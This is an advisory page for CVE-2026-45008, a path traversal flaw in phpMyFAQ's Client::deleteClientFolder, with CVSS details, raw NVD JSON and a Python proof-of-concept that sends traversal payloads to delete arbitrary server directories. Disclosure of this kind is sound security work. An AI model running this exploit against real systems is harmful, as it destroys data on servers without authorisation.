Security Vulnerability Report
中文
CVE-2026-45008 CVSS 6.5 MEDIUM

CVE-2026-45008

Published: 2026-05-15 19:17:01
Last Modified: 2026-05-15 19:17:01

Description

phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

phpMyFAQ < 4.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target, session_cookie, delete_path): """ PoC for CVE-2026-45008: phpMyFAQ Path Traversal Deletes arbitrary directories via client parameter. """ url = f"{target}/admin/index.php" headers = { "Cookie": f"PHPSESSID={session_cookie}" } # Payload using path traversal to delete a target directory # Example: delete_path = '../../../var/www/html/uploads' payload = { "action": "deleteclient", "client": f"https://{delete_path}" } try: response = requests.post(url, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Request sent to delete: {delete_path}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Usage # exploit('http://localhost', 'valid_session_id', '../../../tmp/sensitive_folder')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45008", "sourceIdentifier": "[email protected]", "published": "2026-05-15T19:17:01.210", "lastModified": "2026-05-15T19:17:01.210", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-73"}]}], "references": [{"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gh9p-q46p-57g2", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/phpmyfaq-path-traversal-in-client-deleteclientfolder-via-url-parameter", "source": "[email protected]"}]}}